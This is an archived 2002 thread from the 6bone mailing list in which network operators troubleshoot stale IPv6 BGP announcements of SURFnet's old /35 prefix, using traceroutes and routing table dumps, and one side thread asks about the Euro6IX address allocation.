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Date: Mon, 12 Aug 2002 10:31:44 +0200
From: Ronald.vanderPol@rvdp.org
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This morning, 6bone routing is working great again :-(

My packets go all around the world, except where they are supposed to
go, a couple of kilometers away.

$ traceroute6 kirk.rvdp.org
traceroute6 to kirk.rvdp.org (2001:610:508:1001::1) from 2001:6e0:206:1:220:edff
:fe19:4862, 30 hops max, 12 byte packets
 1  sixgate  0.465 ms  0.241 ms  0.201 ms
 2  Matrix1.core.ipv6.intouch.net  0.337 ms  0.32 ms  0.297 ms
 3  ams-cust.core.ipv6.intouch.net  0.719 ms  0.685 ms  0.662 ms
 4  edt-intouch.ipv6.edisontel.it  56.626 ms  57.222 ms  57.296 ms
 5  3ffe:8120::19:1  77.743 ms  77.648 ms  78.07 ms
 6  ::128.107.240.254  208.484 ms  208.147 ms  208.297 ms
 7  tunnel-stealth-lavanoc.lava.net  283.503 ms 3ffe:81d0:ffff:2::22  220.401 ms
  219.823 ms
 8  edt-hurricane.ipv6.edisontel.it  241.509 ms 2001:288:3b0::1e  410.271 ms  41
1.955 ms
 9  2001:288:3b0::1b  410.547 ms  411.804 ms  411.807 ms
10  3ffe:8120::19:1  338.267 ms  337.184 ms  336.319 ms
11  3ffe:8120::8:2  546.298 ms *  545.426 ms
12  3ffe:c00:8023:2f::1  540.567 ms  540.827 ms ipv6-gw.ipv6.man.poznan.pl  276.
96 ms
13  3ffe:8320:1::  438.038 ms  437.34 ms  436.39 ms
14  3ffe:200:1:61::2  301.057 ms 2001:288:3b0::1e  686.372 ms 2001:7f8:2:8016::3
  466.067 ms
15  fe-tu0.pao.ipv6.he.net  592.915 ms  660.317 ms  635.527 ms
16  3ffe:81d0:ffff:2::22  523.884 ms  473.015 ms  460.349 ms
17  edt-hurricane.ipv6.edisontel.it  540.591 ms  484.15 ms  484.438 ms
18  3ffe:8120::19:1  503.904 ms  503.959 ms  504.063 ms
19  2001:288:3b0::2  836.366 ms  904.766 ms  944.527 ms
20  2001:288:3b0::1f  835.769 ms  836.396 ms  837.633 ms
21  2001:288:3b0::1e  999.56 ms  1006.61 ms  1003.31 ms
22  2001:288:3b0::1b  836.865 ms  931.304 ms  836.235 ms
23  3ffe:8140:101:5::3  835.866 ms  836.066 ms  837.62 ms
24  pc6.otemachi.wide.ad.jp  836.719 ms  835.717 ms  835.182 ms
25  * KOTsre01-101.nw.v6.odn.ne.jp  888.587 ms  891.257 ms
26  STOsre01-201.nw.v6.odn.ne.jp  890.308 ms  964.177 ms  889.769 ms
27  2001:7f8:2:8016::3  889.739 ms  889.598 ms  889.922 ms
28  fe-tu0.pao.ipv6.he.net  887.98 ms  889.919 ms  886.22 ms
29  3ffe:81d0:ffff:2::22  887.853 ms  885.344 ms  885.198 ms
30  edt-hurricane.ipv6.edisontel.it  958.517 ms  909.741 ms  907.426 ms
$

	rvdp

From wimbie@surfnet.nl Mon Aug 12 06:05:43 2002
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Subject: Re: [6bone] routing problem 
In-reply-to: Your message of "Mon, 12 Aug 2002 10:31:44 +0200."
             <20020812083144.GA23039@einstein.nlnetlabs.nl> 
Organisation: SURFnet bv / netwerkdiensten
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==> From: Ronald.vanderPol@rvdp.org

> This morning, 6bone routing is working great again :-(
> 
> My packets go all around the world, except where they are supposed to
> go, a couple of kilometers away.

We are trying hard to get rid of the advertisements for our /35
after migrating to /32. Seems more difficult that expected. But
after that your routing problem should probably be gone.

-Wim -/- SURFnet


From nicolas.deffayet@ndsoftware.net Mon Aug 12 06:48:02 2002
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Subject: Re: [6bone] routing problem
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Ronald.vanderPol@rvdp.org
Cc: 6bone@ISI.EDU
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On Mon, 2002-08-12 at 10:31, Ronald.vanderPol@rvdp.org wrote:
> This morning, 6bone routing is working great again :-(
> 
> My packets go all around the world, except where they are supposed to
> go, a couple of kilometers away.
> 
> $ traceroute6 kirk.rvdp.org
> traceroute6 to kirk.rvdp.org (2001:610:508:1001::1) from 2001:6e0:206:1:220:edff
> :fe19:4862, 30 hops max, 12 byte packets

The announce of 2001:610::/35 is bad but 2001:610::/32 is good.
You can check: telnet route-server.ndsoftwarenet.net (IPv6 only)

route-server.ndsoftwarenet.net> show ipv6 bgp 2001:610:508:1001::1
BGP routing table entry for 2001:610::/35
Paths: (2 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
145.145.249.242)
    3ffe:81f1:0:1::1 from 3ffe:81f1:0:1::1 (213.91.4.3)
      Origin IGP, metric 600, localpref 100, valid, internal,
atomic-aggregate, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 12 15:17:03 2002

  513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
145.145.249.242)
    3ffe:81f1:0:1::1 from 3ffe:81f1:0:2::1 (213.91.4.3)
      Origin IGP, metric 600, localpref 100, valid, internal,
atomic-aggregate
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Originator: 213.91.4.3, Cluster list: 62.4.18.114
      Last update: Mon Aug 12 15:17:07 2002

route-server.ndsoftwarenet.net> show ipv6 bgp 2001:610::/32
BGP routing table entry for 2001:610::/32
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  2602 1103, (aggregated by 1103 145.145.255.42)
    3ffe:81f1:0:1::2 from 3ffe:81f1:0:1::1 (62.4.18.114)
      Origin IGP, metric 600, localpref 100, valid, internal,
atomic-aggregate
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Originator: 62.4.18.114, Cluster list: 213.91.4.3
      Last update: Mon Aug 12 13:43:51 2002

  2602 1103, (aggregated by 1103 145.145.255.42)
    3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
    (fe80::260:97ff:fe0c:9803)
      Origin IGP, metric 600, localpref 100, valid, internal,
atomic-aggregate,
best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 12 13:43:48 2002

route-server.ndsoftwarenet.net>

Many routers keep in cache and reannonce 2001:610::/35 that Surfnet
don't announce.

Same problem for a lot of pTLA/sTLA:

http://noc.ndsoftwarenet.com/stats/aspath-tree/history/AMS-IX.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UNI-C.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/BME-FSZ.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UUNET-UK.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UL.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/NETCOM-UK.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/CAIRN.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/35-INTEROP-JP-20020617.html
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/SWISSCOM.html

Best Regards,

Nicolas DEFFAYET


From gert@Space.Net Mon Aug 12 06:59:33 2002
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hi,

On Mon, Aug 12, 2002 at 03:05:34PM +0200, Wim Biemolt wrote:
> ==> From: Ronald.vanderPol@rvdp.org
> 
> > This morning, 6bone routing is working great again :-(
> > 
> > My packets go all around the world, except where they are supposed to
> > go, a couple of kilometers away.
> 
> We are trying hard to get rid of the advertisements for our /35
> after migrating to /32. Seems more difficult that expected. But
> after that your routing problem should probably be gone.

Ghosts again.  This time the announcement seems to be stuck in AS7660
(someone in Japan) and in AS6830 (Chello).  All paths that I see end 
in 7660 <something> or 6830 <something>.

Those are the paths that I see:

  3274 6175 10109 7660 2500 4725 1752 6939 3425 1103
  1853 1853 1853 1853 1853 786 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103
  15671 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  1752 8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  517 4589 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3561 145 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  9044 513 9264 7660 2500 4725 1752 6939 3425 1103
  1752 8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  517 4589 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3561 145 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  9044 513 9264 7660 2500 4725 1752 6939 3425 1103
  680 2200 513 9264 7660 2500 4725 1752 6939 3425 1103
  3320 680 1275 5609 9264 7660 2500 4725 1752 6939 3425 1103
  5430 13285 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103
  12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103
  1930 2200 513 9264 7660 2500 4725 1752 6939 3425 1103
  1849 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103
  4554 5609 9264 7660 2500 4725 1752 6939 3425 1103
  109 109 6435 9264 7660 2500 4725 1752 6939 3425 1103

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Mon Aug 12 07:30:35 2002
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Hi,

On Mon, Aug 12, 2002 at 03:48:00PM +0200, Nicolas DEFFAYET wrote:
> [ Ghost /35s ]

> Many routers keep in cache and reannonce 2001:610::/35 that Surfnet
> don't announce.

To clarify this:  this is not an effect of "caching" of any sort.  It's
just plain buggy router implementations that don't handle withdrawals
correctly.

One well-known cause for this was Viagenie (using MRTd), but they seem
to have fixed their routers - at least they don't show up this time.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Mon Aug 12 11:27:21 2002
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Jordi / Bob / 6boner,

I have some specific questions about this:

1. Question regarding allocations/assignments within the Euro6IX pTLA:

My understanding is that this pTLA would be used for IX infrastructure,
which means routers physically present in one of the IXes, links between
them, router loopbacks, common peering subnets, that kind of thing. Am I
correct?

The question is: what block size are you planning on allocating to whom?
For example, are your planning on allocating a /48 to each IX, and let
the IX assign subnets to participants? Are you planning multiple levels
of aggregation (such as a /40 per country)?

2. Question about the consequences on the global IPv6 routing table.

What will we see in the global routing table WRT the Euro6IX pTLA? The
question is actually more like what are the consequences if everyone
(except Euro6IX IXes peering between themselves) is applying the
"STRICT" route map that has been discussed recently.

If all we shall see in the global routing table is the Euro6IX pTLA
aggregate, I am curious to know who will announce it, and if you plan to
have each IX announce it as a proxy/pseudo anycast route.

Thanks
Michel.


From wimbie@surfnet.nl Mon Aug 12 11:56:19 2002
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   Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem 
In-reply-to: Your message of "Mon, 12 Aug 2002 16:30:32 +0200."
             <20020812163032.E27015@Space.Net> 
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==> From: Gert Doering

> To clarify this:  this is not an effect of "caching" of any sort.  It's
> just plain buggy router implementations that don't handle withdrawals
> correctly.

So I can only hope that a buggy router implementation also means a memory
leak or something like that causing them to reboot in the real near future?

The only other option I see is switch back to our /35. We are using IPv6
as production. Being without any decent IPv6 connectivity for too long
won't do our case for IPv6 any good I'm afraid.

-Wim -/- SURFnet


From rvdp@kirk.rvdp.org Mon Aug 12 12:14:35 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: konish@kddlabs.co.jp, kato@wide.ad.jp, mf-fujinaga@kddi.com,
   network_admins@aorta.net, hostmaster@chello.at
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APAN, Chello,

Can you please check your 6bone routing tables for bogus 2001:610::/35
entries (see below)?

	rvdp

----- Forwarded message from Gert Doering <gert@space.net> -----

From: Gert Doering <gert@space.net>
To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
Cc: Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
Date: Mon, 12 Aug 2002 15:59:30 +0200

hi,

On Mon, Aug 12, 2002 at 03:05:34PM +0200, Wim Biemolt wrote:
> ==> From: Ronald.vanderPol@rvdp.org
> 
> > This morning, 6bone routing is working great again :-(
> > 
> > My packets go all around the world, except where they are supposed to
> > go, a couple of kilometers away.
> 
> We are trying hard to get rid of the advertisements for our /35
> after migrating to /32. Seems more difficult that expected. But
> after that your routing problem should probably be gone.

Ghosts again.  This time the announcement seems to be stuck in AS7660
(someone in Japan) and in AS6830 (Chello).  All paths that I see end 
in 7660 <something> or 6830 <something>.

Those are the paths that I see:

  3274 6175 10109 7660 2500 4725 1752 6939 3425 1103
  1853 1853 1853 1853 1853 786 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103
  15671 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  1752 8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  517 4589 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3561 145 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  9044 513 9264 7660 2500 4725 1752 6939 3425 1103
  1752 8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  517 4589 8379 6435 9264 7660 2500 4725 1752 6939 3425 1103
  3561 145 11537 22388 7660 2500 4725 1752 6939 3425 1103
  8627 6830 6939 2549 109 6435 15982 15589 513 2200 1103
  9044 513 9264 7660 2500 4725 1752 6939 3425 1103
  680 2200 513 9264 7660 2500 4725 1752 6939 3425 1103
  3320 680 1275 5609 9264 7660 2500 4725 1752 6939 3425 1103
  5430 13285 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103
  12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103
  1930 2200 513 9264 7660 2500 4725 1752 6939 3425 1103
  1849 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103
  4554 5609 9264 7660 2500 4725 1752 6939 3425 1103
  109 109 6435 9264 7660 2500 4725 1752 6939 3425 1103

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

----- End forwarded message -----

From gert@Space.Net Mon Aug 12 12:20:05 2002
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From: Gert Doering <gert@space.net>
To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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Hi,

(I am copying the 6bone mailing list back in, as I think this is a pretty
generic problem - I hope you don't mind)

On Mon, Aug 12, 2002 at 08:56:09PM +0200, Wim Biemolt wrote:
> ==> From: Gert Doering
> 
> > To clarify this:  this is not an effect of "caching" of any sort.  It's
> > just plain buggy router implementations that don't handle withdrawals
> > correctly.
> 
> So I can only hope that a buggy router implementation also means a memory
> leak or something like that causing them to reboot in the real near future?

No.  In our case, the /35 staid in the table until I finally managed to
reach someone at Viagenie who cleared some sessions...  the BT /35 got
stuck at Chello, and after clearing their sessions, at Viagenie.

> The only other option I see is switch back to our /35. We are using IPv6
> as production. 

So are we...

> Being without any decent IPv6 connectivity for too long
> won't do our case for IPv6 any good I'm afraid.

No :-((

My recommendation would be to contact all your peers and check the different
paths seen everywhere for "common tails".  Then contact the AS(es) that you
see in the first hop of the "common tail" (in your case, as far as I could
see, Chello and this Japanese AS) and ask them to check their tables for
the prefix, and preferably clear some BGP sessions (upstream and/or
downstream).

In the last case, clearing session at Chello and yelling at Viagenie 
helped...   but as I said, this time, Viagenie hasn't been in the paths
(yet?), but a new japanese AS that I haven't seen before.

This takes some time, though (1-2 days).  If you can't spend that time,
you'll have to announce both the /32 and the /35, establish contact to
the suspect ASes, withdraw the /35 again, and hope that you got the
right ones.

Feel free to contact me to get an "show bgp ipv6 ..." output from here.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Mon Aug 12 12:32:51 2002
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Subject: RE: [6bone] pTLA request by Euro6IX project for exchange
	experimentation - review closes 3 Sep 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>,
   Jordi Palet
	Martinez <jordi.palet@consulintel.es>
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On Mon, 2002-08-12 at 20:27, Michel Py wrote:
Michel / Jordi / Bob / 6boner,

> I have some specific questions about this:
> 
> 1. Question regarding allocations/assignments within the Euro6IX pTLA:
> 
> My understanding is that this pTLA would be used for IX infrastructure,
> which means routers physically present in one of the IXes, links between
> them, router loopbacks, common peering subnets, that kind of thing. Am I
> correct?
> 
> The question is: what block size are you planning on allocating to whom?
> For example, are your planning on allocating a /48 to each IX, and let
> the IX assign subnets to participants? Are you planning multiple levels
> of aggregation (such as a /40 per country)?

Why IX don't use the Global IPv6 Internet Exchange Points Assignments
made by the RIR ?

> 
> 2. Question about the consequences on the global IPv6 routing table.
> 
> What will we see in the global routing table WRT the Euro6IX pTLA? The
> question is actually more like what are the consequences if everyone
> (except Euro6IX IXes peering between themselves) is applying the
> "STRICT" route map that has been discussed recently.
> 
> If all we shall see in the global routing table is the Euro6IX pTLA
> aggregate, I am curious to know who will announce it, and if you plan to
> have each IX announce it as a proxy/pseudo anycast route.
> 

I think that it will be like the AMS-IX pTLA
(http://whois.6bone.net/cgi-bin/whois?ams-ix).

Best regards,

Nicolas DEFFAYET


From RJorgensen@upctechnology.com Mon Aug 12 12:49:14 2002
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To: "'Gert Doering'" <gert@space.net>, Wim Biemolt <Wim.Biemolt@surfnet.nl>
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Subject: RE: [6bone] routing problem
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Hi,

We're geting the 2001:610::/35 from many of our peers, and 
we're also seing the 2001:610::/32 from even more peers.

Seems like the ghost bug is out there again... this is what
we see, and there are some common as path's in all of them,


BGP routing table entry for 2001:610::/35, version 95785
Paths: (26 available, best #21, table Global-IPv6-Table)
  Advertised to non peer-group peers:
  2001:6C8:0:FFFD::12 2001:730::1:1 2001:730::1:3 2001:730::1:5 
2001:730::1:7 
  2001:730::1:F 2001:730::1:15 2001:730::1:19 2001:730::1:1D 
2001:730::1:21 
  2001:730::1:23 2001:730::1:29 2001:730::1:2F 2001:730::1:31 
2001:730::1:33 
  2001:730::1:35 2001:730::1:37 2001:730::1:39 2001:730::1:3B 
2001:730::1:3F 
  2001:730::1:41 2001:730:0:2::AAE2 2001:740:0:102::1:0 2001:768:E:24::1 
  2001:778:11:4::2 2001:7F8:2:800F::2 3FFE:2000:0:40F::22F 
3FFE:2501:100::21 
  3FFE:2900:1:5::1 3FFE:4006:0:3::11 3FFE:4008:1::D 3FFE:81F1:1:2022::1 
  3FFE:8270:0:1::52 
  2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 2012:200 2012:513 6830:60003 6830:60011
  2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 2012:200 2012:513
  790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011 24765:200 24765:800 24765:3500 
24765:7005
  8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 24765:200 24765:800 24765:3500 24765:7005
  8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
     Origin IGP, localpref 100, valid, external, atomic-aggregate
  6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    3FFE:2900:1:5::1 from 3FFE:2900:1:5::1 (208.19.223.30)
      Origin IGP, metric 0, localpref 100, valid, external, 
atomic-aggregate
      Community: 6830:60003 6830:60011
  6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)    3FFE:2900:1:5::1 from 
3FFE:2900:1:5::1 (208.19.223.30)
      Origin IGP, metric 0, localpref 100, valid, external, 
atomic-aggregate
  20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    2001:730::1:F from 2001:730::1:F (192.168.1.12)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    2001:730::1:F from 2001:730::1:F (192.168.1.12)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
      Origin IGP, localpref 100, valid, external, atomic-aggregate, best
      Community: 6830:60003 6830:60011
  5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242)
    2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Community: 6830:60003 6830:60011
  8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103 
145.145.249.242), (received-only)
    2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
  12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242)
    2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
      Origin IGP, metric 10, localpref 100, valid, external, 
atomic-aggregate
      Community: 6830:60003 6830:60011 12337:6004
  12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 
1103 145.145.249.242), (received-only)
    2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
      Origin IGP, metric 10, localpref 100, valid, external, 
atomic-aggregate
      Community: 12337:6004



---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ engineering - UPC Technology
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: Gert Doering [mailto:gert@space.net]
> Sent: Monday, August 12, 2002 9:20 PM
> To: Wim Biemolt
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] routing problem
> 
> 
> Hi,
> 
> (I am copying the 6bone mailing list back in, as I think this 
> is a pretty
> generic problem - I hope you don't mind)
> 
> On Mon, Aug 12, 2002 at 08:56:09PM +0200, Wim Biemolt wrote:
> > ==> From: Gert Doering
> > 
> > > To clarify this:  this is not an effect of "caching" of 
> any sort.  It's
> > > just plain buggy router implementations that don't handle 
> withdrawals
> > > correctly.
> > 
> > So I can only hope that a buggy router implementation also 
> means a memory
> > leak or something like that causing them to reboot in the 
> real near future?
> 
> No.  In our case, the /35 staid in the table until I finally 
> managed to
> reach someone at Viagenie who cleared some sessions...  the BT /35 got
> stuck at Chello, and after clearing their sessions, at Viagenie.
> 
> > The only other option I see is switch back to our /35. We 
> are using IPv6
> > as production. 
> 
> So are we...
> 
> > Being without any decent IPv6 connectivity for too long
> > won't do our case for IPv6 any good I'm afraid.
> 
> No :-((
> 
> My recommendation would be to contact all your peers and 
> check the different
> paths seen everywhere for "common tails".  Then contact the 
> AS(es) that you
> see in the first hop of the "common tail" (in your case, as 
> far as I could
> see, Chello and this Japanese AS) and ask them to check their 
> tables for
> the prefix, and preferably clear some BGP sessions (upstream and/or
> downstream).
> 
> In the last case, clearing session at Chello and yelling at Viagenie 
> helped...   but as I said, this time, Viagenie hasn't been in 
> the paths
> (yet?), but a new japanese AS that I haven't seen before.
> 
> This takes some time, though (1-2 days).  If you can't spend 
> that time,
> you'll have to announce both the /32 and the /35, establish contact to
> the suspect ASes, withdraw the /35 again, and hope that you got the
> right ones.
> 
> Feel free to contact me to get an "show bgp ipv6 ..." output 
> from here.
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  
> 46871 (46631)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From jeroen@unfix.org Mon Aug 12 12:52:40 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>
Cc: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   <Ronald.vanderPol@rvdp.org>, <6bone@ISI.EDU>
Subject: RE: [6bone] routing problem 
Date: Mon, 12 Aug 2002 21:50:55 +0200
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Wim Biemolt wrote:

> ==> From: Gert Doering
> 
> > To clarify this:  this is not an effect of "caching" of any sort.
It's
> > just plain buggy router implementations that don't handle
withdrawals
> > correctly.
> 
> So I can only hope that a buggy router implementation also 
> means a memory
> leak or something like that causing them to reboot in the 
> real near future?
> 
> The only other option I see is switch back to our /35. We are 
> using IPv6
> as production. Being without any decent IPv6 connectivity for too long
> won't do our case for IPv6 any good I'm afraid.
> 
> -Wim -/- SURFnet

There is one good way: find out the AS's who are 'bad' and depeer them
if they don't respond in x time.
This is just the same as for IPv4...

PS: Gert.. did you put an extra page in your presentation saying TLA's
are moving to /32's?
PS2: Gert, don't get a sunburn in Rhodos ;)

Greets,
 Jeroen


From daniel@kewlio.net Mon Aug 12 13:06:02 2002
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From: "Daniel Austin" <daniel@kewlio.net>
